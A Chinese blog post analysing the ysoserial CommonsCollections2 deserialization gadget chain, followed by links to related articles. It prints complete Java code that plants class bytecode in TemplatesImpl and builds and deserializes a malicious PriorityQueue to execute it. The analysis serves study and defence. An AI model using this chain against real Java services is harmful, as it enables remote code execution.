在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。

已知的TemplatesImpl->newTransformer()是最终要执行的。

TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。

TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。

cc2是针对commons-collections4版本,利用链如下:

  1. /*
  2. Gadget chain:
  3. ObjectInputStream.readObject()
  4. PriorityQueue.readObject()
  5. ...
  6. TransformingComparator.compare()
  7. InvokerTransformer.transform()
  8. Method.invoke()
  9. Runtime.exec()
  10. */

所以在InvokerTransformer.transform()之后的利用如下:

  1. public class CC2Test2 {
  2. public static void main(String[] args) throws Exception {
  3. TemplatesImpl templates = new TemplatesImpl();
  4. Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  5. Field name = templates_cl.getDeclaredField("_name");
  6. name.setAccessible(true);
  7. name.set(templates,"xxx");
  8. Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
  9. transletIndex.setAccessible(true);
  10. transletIndex.set(templates,0);
  11. byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
  12. byte[][] codes = {code};
  13. //给_bytecodes赋值
  14. Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
  15. bytecodes.setAccessible(true);
  16. bytecodes.set(templates,codes);
  17. //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
  18. //_tfactorys是TransformerFactoryImpl类型的
  19. TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
  20. Field tfactory = templates_cl.getDeclaredField("_tfactory");
  21. tfactory.setAccessible(true);
  22. tfactory.set(templates,transformerFactory);
  23. InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
  24. transformer.transform(templates);
  25. }
  26. }

一、InvokerTransformer.transform()的调用

TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。

  1. public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
  2. private static final long serialVersionUID = 3456940356043606220L;
  3. private final Comparator<O> decorated;
  4. private final Transformer<? super I, ? extends O> transformer;
  5. public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
  6. this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
  7. }
  8. public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
  9. this.decorated = decorated;
  10. this.transformer = transformer;
  11. }
  12. public int compare(I obj1, I obj2) {
  13. O value1 = this.transformer.transform(obj1);
  14. O value2 = this.transformer.transform(obj2);
  15. return this.decorated.compare(value1, value2);
  16. }
  17. }

通过compare的调用

  1. InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
  2. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  3. transformingComparator.compare(null,templates);

二、TransformingComparator.compare()的调用

PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。

那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。

  1. public PriorityQueue(int initialCapacity,
  2. Comparator<? super E> comparator) {
  3. // Note: This restriction of at least one is not actually needed,
  4. // but continues for 1.5 compatibility
  5. if (initialCapacity < 1)
  6. throw new IllegalArgumentException();
  7. this.queue = new Object[initialCapacity];
  8. this.comparator = comparator;
  9. }

由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。

  1. InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
  2. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  3. priorityQueue.add(1);
  4. priorityQueue.add(templates);

但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。

priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。

  1. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  2. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  3. priorityQueue.add(1);
  4. priorityQueue.add(2);
  5. Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
  6. iMethodName.setAccessible(true);
  7. iMethodName.set(transformer,"newTransformer");

三、queue属性赋值

transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。

  1. private void writeObject(java.io.ObjectOutputStream s)
  2. throws java.io.IOException {
  3. //略
  4. for (int i = 0; i < size; i++)
  5. s.writeObject(queue[i]);
  6. }
  1. private void readObject(java.io.ObjectInputStream s)
  2. throws java.io.IOException, ClassNotFoundException {
  3. //略
  4. for (int i = 0; i < size; i++)
  5. queue[i] = s.readObject();
  6. heapify();
  7. }

通过反射修改queues[0],利用如下:

  1. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  2. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  3. priorityQueue.add(1);
  4. priorityQueue.add(2);
  5. Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
  6. iMethodName.setAccessible(true);
  7. iMethodName.set(transformer,"newTransformer");
  8. Field queue = priorityQueue.getClass().getDeclaredField("queue");
  9. queue.setAccessible(true);
  10. Object[] queues = (Object[]) queue.get(priorityQueue);
  11. queues[0] = templates;
  12. //这里得替换queues[0]
  13. //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。

最终完整利用实现:

  1. public class CC2Test2 {
  2. public static void main(String[] args) throws Exception {
  3. TemplatesImpl templates = new TemplatesImpl();
  4. Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
  5. Field name = templates_cl.getDeclaredField("_name");
  6. name.setAccessible(true);
  7. name.set(templates,"xxx");
  8. Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
  9. transletIndex.setAccessible(true);
  10. transletIndex.set(templates,0);
  11. byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
  12. byte[][] codes = {code};
  13. //给_bytecodes赋值
  14. Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
  15. bytecodes.setAccessible(true);
  16. bytecodes.set(templates,codes);
  17. //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
  18. //_tfactorys是TransformerFactoryImpl类型的
  19. TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
  20. Field tfactory = templates_cl.getDeclaredField("_tfactory");
  21. tfactory.setAccessible(true);
  22. tfactory.set(templates,transformerFactory);
  23. InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
  24. TransformingComparator transformingComparator = new TransformingComparator(transformer);
  25. PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
  26. priorityQueue.add(1);
  27. priorityQueue.add(2);
  28. Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
  29. iMethodName.setAccessible(true);
  30. iMethodName.set(transformer,"newTransformer");
  31. Field queue = priorityQueue.getClass().getDeclaredField("queue");
  32. queue.setAccessible(true);
  33. Object[] queues = (Object[]) queue.get(priorityQueue);
  34. queues[0] = templates;
  35. ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
  36. objectOutputStream.writeObject(priorityQueue);
  37. ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
  38. objectInputStream.readObject();
  39. }
  40. }

ysoserial CommonsCollections2 分析的更多相关文章

  1. ysoserial CommonsColletions4分析

    ysoserial CommonsColletions4分析 其实CC4就是 CC3前半部分和CC2后半部分 拼接组成的,没有什么新的知识点. 不过要注意的是,CC4和CC2一样需要在commons- ...

  2. ysoserial CommonsColletions2分析

    ysoserial CommonsColletions2分析 前言 此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist. ...

  3. ysoserial CommonsColletions1分析

    JAVA安全审计 ysoserial CommonsColletions1分析 前言: 在ysoserial工具中,并没有使用TransformedMap的来触发ChainedTransformer链 ...

  4. ysoserial CommonsColletions3分析(2)

    上篇文章讲到CC3的TransformedMap链,这篇我们就来讲一下LazyMap链. 其实LazyMap链还是使用的TemplatesImpl承载payload,InstantiateTransf ...

  5. ysoserial CommonsColletions3分析(1)

    CC3的利用链在JDK8u71版本以后是无法使用的,具体还是由于AnnotationInvocationHandler的readobject进行了改写. 而CC3目前有两条主流的利用链,利用Trans ...

  6. ysoserial CommonsColletions7分析

    CC7也是一条比较通用的链了,不过对于其原理的话,其实还是挺复杂的.文章如有错误,敬请大佬们斧正 CC7利用的是hashtable#readObject作为反序列化入口.AbstractMap的equ ...

  7. ysoserial CommonsColletions6分析

    CC6的话是一条比较通用的链,在JAVA7和8版本都可以使用,而触发点也是通过LazyMap的get方法. TiedMapEntry#hashCode 在CC5中,通过的是TiedMapEntry的t ...

  8. ysoserial CommonsColletions5分析

    我们知道,AnnotationInvocationHandler类在JDK8u71版本以后,官方对readobject进行了改写. 所以要挖掘出一条能替代的类BadAttributeValueExpE ...

  9. ysoserial commonscollections6 分析

    利用链如下: 其中LazyMap.get()->ChainedTransformer.transform()-InvokerTransformer.transform()与CC1链一致. /* ...

随机推荐

  1. Excel 统计函数(五):MINIFS 和 MAXIFS

    MINIFS [语法]MINIFS(min_range, criteria_range1, criteria1, [criteria_range2, criteria2], ...) [参数] min ...

  2. 二叉搜索树TREE(线段树,区间DP)

    前言 线段树+区间DP题,线段树却不是优化DP的,是不是很意外? 题面 二叉搜索树是一种二叉树,每个节点都有一个权值,并且一个点的权值比其左子树里的点权值都大,比起右子树里的点权值都小. 一种朴素的向 ...

  3. 「JOI 2015 Final」分蛋糕 2

    「JOI 2015 Final」分蛋糕 2 题解 这道题让我想起了新年趣事之红包这道DP题,这道题和那道题推出来之后的做法是一样的. 我们可以定义dp[i][len][1] 表示从第i块逆时针数len ...

  4. 【Prometheus+Grafana系列】监控MySQL服务

    前言 前面的一篇文章已经介绍了 docker-compose 搭建 Prometheus + Grafana 服务.当时实现了监控服务器指标数据,是通过 node_exporter.Prometheu ...

  5. C/C++ Capstone 引擎源码编译

    Capstone 是一个轻量级的多平台.多架构的反汇编框架.Capstone 旨在成为安全社区中二进制分析和反汇编的终极反汇编引擎.Capstone的编译非常简单只需要一步即可轻松得到对应的Lib库文 ...

  6. 读完 RocketMQ 源码,我学会了如何优雅的创建线程

    RocketMQ 是一款开源的分布式消息系统,基于高可用分布式集群技术,提供低延时.高可靠的消息发布与订阅服务. 这篇文章,笔者整理了 RocketMQ 源码中创建线程的几点技巧,希望大家读完之后,能 ...

  7. Java中一些必须要知道的东西

    直接打印数组名称,得到的是数组对应的内存地址--哈希值.

  8. Linux下从零开始创建lvm虚拟磁盘阵列+脚本化解决方案

    逻辑卷管理器(英语:Logical Volume Manager,缩写为LVM),又译为逻辑卷宗管理器.逻辑扇区管理器.逻辑磁盘管理器,是Linux核心所提供的逻辑卷管理(Logical volume ...

  9. Security Context

    概述 Security Context(安全上下文)用来限制容器对宿主节点的可访问范围,以避免容器非法操作宿主节点的系统级别的内容,使得节点的系统或者节点上其他容器组受到影响. Security Co ...

  10. 使用port-forward访问集群中的应用程序,以Redis 为例

    为Redis创建Deployment和Service 创建 Redis Deployment,YAML文件如下: apiVersion: apps/v1 kind: Deployment metada ...